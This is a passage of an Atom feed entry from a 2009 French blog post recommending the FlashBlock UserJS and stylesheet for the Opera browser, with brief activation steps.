  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/05/23/567-flashblock-pour-opera" />
  <issued>2009-05-23T14:40:05+00:00</issued>
  <modified>2009-05-23T14:40:05+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/05/23/567-flashblock-pour-opera</id>
  <author><name>devloop</name></author>
  <dc:subject>Web</dc:subject>
  <summary>Mieux vaut tard que jamais, j'ai découvert FlashBlock pour Opera. Je l'utilise depuis une semaine et j'en suis très content.
Il est composé d'un UserJS et d'un feuillet de style. Une fois les...</summary>
  <content type="text/html" mode="escaped"> Mieux vaut tard que jamais, j'ai découvert &lt;a href=&quot;http://my.opera.com/Lex1/blog/flashblock-for-opera-9&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;FlashBlock pour Opera&lt;/a&gt;. Je l'utilise depuis une semaine et j'en suis très content.&lt;br /&gt;
Il est composé d'un &lt;a href=&quot;http://my.opera.com/userjs/forums/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;UserJS&lt;/a&gt; et d'un feuillet de style. Une fois les fichiers copiés dans leurs dossiers &lt;em&gt;Opera&lt;/em&gt;, il suffit d'aller dans &lt;em&gt;Afficher&lt;/em&gt; &amp;gt; &lt;em&gt;Style&lt;/em&gt; et de sélectionner &lt;q&gt;Flash Blocker&lt;/q&gt; pour l'activer.&lt;br /&gt;
L'utilisation est exactement la même que celle du plugin &lt;em&gt;Firefox&lt;/em&gt; et en plus c'est compatible avec les dernières build béta d'&lt;em&gt;Opera&lt;/em&gt; 10 :)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://my.opera.com/Lex1/blog/flashblock-for-opera-9&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;FlashBlock pour Opera&lt;/a&gt;</content>
</entry>
</feed>